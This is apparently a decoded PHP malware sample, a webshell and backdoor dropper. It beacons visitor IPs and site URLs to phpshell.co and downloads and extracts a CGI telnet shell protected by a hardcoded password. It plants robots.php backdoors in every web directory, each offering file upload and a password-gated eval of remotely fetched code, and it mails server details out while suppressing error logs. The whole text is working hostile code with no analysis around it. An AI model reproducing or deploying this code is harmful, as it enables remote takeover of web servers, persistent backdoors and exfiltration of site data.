PHP Decode

<?php function GetIP(){ if(getenv("HTTP_CLIENT_IP")) { $ip = getenv("HTTP_CLIENT_IP"); } elseif(getenv("HTTP_X_FORWARDED_FOR")) { $ip = getenv("HTTP_X_FORWARDED_FOR"); if (strstr($ip, ',')) { $tmp = explode (',', $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("REMOTE_ADDR"); } return $ip; } $x = base64_decode('aHR0cDovL3BocHNoZWxsLmNvL2wt').GetIP().'-'.base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); if(function_exists('curl_init')) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if($gitt == false){ @$gitt = file_get_contents($x); } }elseif(function_exists('file_get_contents')){ @$gitt = file_get_contents($x); } ?>

<?php if(!file_exists('cgitelnt/fuhosin.xx')){ $dizin = 'http://phpshell.co/upload/cgitelnet.zip'; function dosya_indir($link,$name=null) { $link_info = pathinfo($link); $uzanti = strtolower($link_info['extension']); $file = ($name) ? $name.'.'.$uzanti : $link_info['basename']; $curl = curl_init($link); $fopen = fopen($file,'w'); curl_setopt($curl, CURLOPT_HEADER,0); curl_setopt($curl, CURLOPT_RETURNTRANSFER,1); curl_setopt($curl, CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_0); curl_setopt($curl, CURLOPT_FILE, $fopen); curl_exec($curl); curl_close($curl); fclose($fopen); } dosya_indir($dizin, "cgitelnet"); $zip = new ZipArchive(); $file = 'cgitelnet.zip'; $zip->open($file); $cikar = $zip->extractTo('cgitelnt/'); chmod('cgitelnt/fuhosin.xx', 0755); if(file_exists('cgitelnet.zip')){ @unlink('cgitelnet.zip'); } if($cikar and substr(decoct(fileperms('cgitelnt/fuhosin.xx')), -4)==='0755'){ echo "Open. password: <strong>phpshell</strong><br>"; echo "<iframe src=cgitelnt/fuhosin.xx width=96% height=90% frameborder=0></iframe>"; } else{ echo '<div class="alert alert-danger"><strong>Hata!</strong> Dosya indirilirken kritik bir hata olutu.</div>'; } } elseif(file_exists('cgitelnt/fuhosin.xx') and substr(decoct(fileperms('cgitelnt/fuhosin.xx')), -4)==='0755'){ echo "Open. password:<strong>phpshell</strong><br>"; chmod('cgitelnt/fuhosin.xx', 0755); echo "<iframe src=cgitelnt/fuhosin.xx width=96% height=90% frameborder=0></iframe>"; } ?>

<?php @session_start(); @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @ini_set('display_errors', 0); @ini_set('output_buffering',0); @set_time_limit(0); @set_magic_quotes_runtime(0); ?>
<?php @session_start(); @error_reporting(0); $a = '
<meta name="robots" content="noindex,nofollow">
<?php session_start();
if($_SESSION["adm"]){ echo \'<form action="" method="post" enctype="multipart/form-data" name="upload42" id="upload42">\'; echo \'<input type="fle" name="fle" size="50"><input name="_ul2" type="submit" id="_ul2" value="Submit"></form>\'; if( isset($_POST[\'_ul2\']) ) {	if(@copy($_FILES[\'fle\'][\'tmp_name\'], $_FILES[\'fle\'][\'name\'])) { echo \'<b>Submit Success !!!</b><br><br>\';  }	else { echo \'<b>Submit Fail !!!</b><br><br>\'; }} } if($_POST["p"]){ $p = $_POST["p"]; $pa = md5(sha1($p)); if($pa=="aafedc957d39b975c5d15413825b033f"){ $_SESSION["adm"] = 1; }} ?> <form action="" method="post"><input type="text" name="p"></form>'; if(@$_REQUEST["px"]){ $p = @$_REQUEST["px"]; $pa = md5(sha1($p)); if($pa=="aafedc957d39b975c5d15413825b033f") { echo @eval(@file_get_contents(@$_REQUEST["404"])); } } if(@!$_SESSION["sdm"]){ $doc = $_SERVER["DOCUMENT_ROOT"]; $dir = scandir($doc); $d1 = ''.$doc.'/.'; $d2 = ''.$doc.'/..'; if(($key = @array_search('.', $dir)) !== false) { unset($dir[$key]); } if(($key = @array_search('..', $dir)) !== false) { unset($dir[$key]); } if(($key = @array_search($d1, $dir)) !== false) { unset($dir[$key]); } if(($key = array_search($d2, $dir)) !== false) { unset($dir[$key]); } @array_push($dir,$doc); foreach($dir as $d){ $p = $doc."/".$d; if(is_dir($p)){ $file = $p."/robots.php"; @touch($file); $folder = @fopen($file,"w"); @fwrite($folder,$a); } } $lls = $_SERVER["HTTP_HOST"]; $llc = $_SERVER["REQUEST_URI"]; $lld = 'http://'.$lls.''.$llc.''; $brow = urlencode($_SERVER['HTTP_USER_AGENT']); $retValue = @file_get_contents(base64_decode("aHR0cDovL3IuaW5mbyoucwP2E=")."=".$lld.base64_decode("JmI=")."=".$brow); echo $retValue; @$_SESSION["sdm"]=1; } ?>

<?php $kime = "[email protected]"; $baslik = "r00t.info Server Amc V1.0"; $EL_MuHaMMeD = "Dosya Yolu : " . "GT\r\n"; $EL_MuHaMMeD.= "Server Admin : " . "\r\n"; $EL_MuHaMMeD.= "Server isletim sistemi : " . "\r\n"; $EL_MuHaMMeD.= "Shell Link : http://googleseo.co\r\n"; $EL_MuHaMMeD.= "Avlanan Site : googleseo.co\r\n"; mail($kime, $baslik, $EL_MuHaMMeD); ?>